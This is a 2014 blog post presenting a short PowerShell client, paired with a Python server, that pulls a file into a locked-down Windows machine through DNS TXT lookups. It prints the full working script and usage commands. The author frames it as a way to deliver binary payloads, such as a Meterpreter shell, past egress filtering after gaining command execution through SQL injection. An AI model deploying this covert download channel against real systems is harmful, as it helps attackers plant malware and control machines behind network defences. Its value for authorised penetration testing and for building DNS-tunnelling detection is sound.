Tuesday, September 16, 2014

Transfer File Over DNS in Windows (with 13 lines of PowerShell)

In a previous post (http://breenmachine.blogspot.ca/2014/03/downloading-files-through-recursive-dns.html) I mentioned that it is possible to download files through recursive DNS queries with Bash or Powershell.

This was done through a client/server setup where the server hosts a particular file and the clients were to be written in very short scripts that could be feasibly re-created by hand on-demand to deliver binary payloads to machines.

There are a number of feasible scenarios where this is useful. For example, if you have physical access to a machine that is on a locked down network segment with restricted egress traffic. Or the example that came up in a recent penetration test was that we had command execution on a remote database server through SQLi, however no traffic was allowed egress to to the internet from the database server so we couldn't directly establish a C&C channel. Using this script, combined with CobaltStrike Beacon over DNS we were able to get a fully functional Meterpreter shell tunneling over DNS (and it was surprisingly fast).

In my previous post, I released the code for a Bash client and the Python server. I'm now releasing code for the (probably more useful to most people) Powershell client script, and it only ended up being 13 lines!

Can be found on github (https://github.com/breenmachine/dnsftp) - or below. Usage is simply:

On the server hosting the file:
./server.py -f /path/to/file

On the target client to deliver the binary:
powershell client.ps1 -server where.your.server.resolves.com

param ([string]$server)
$payload=""
for($i=0;$i -ge 0;$i++){
$command='cmd.exe /C nslookup -type=TXT '+$i+'.$server'
$a=Invoke-Expression -Command:$command
$c=[string]$a
$fIdx=$c.IndexOf('"')+1
$lIdx=$c.LastIndexOf('"')
$len=$lIdx-$fIdx
if($error.Count -ge 1){$i=-10}
$payload=$payload+$c.Substring($fIdx,$len)}
$o=[Convert]::FromBase64String($payload)
[io.file]::WriteAllBytes('output',$o)

There are a few caveats here. The error handling isn't great. If you see that the client calls it quits before it fetches all of the chunks of your payload - run it again. It means the DNS server didn't get a response from your server in time. You may have to run the client a few times, each time it will pull TXT records from its cache up to the one where it made an error, eventually getting your whole file. To optimize this for larger payloads, some simple error handling could be added, but I wanted to keep the client script pretty bare-bones.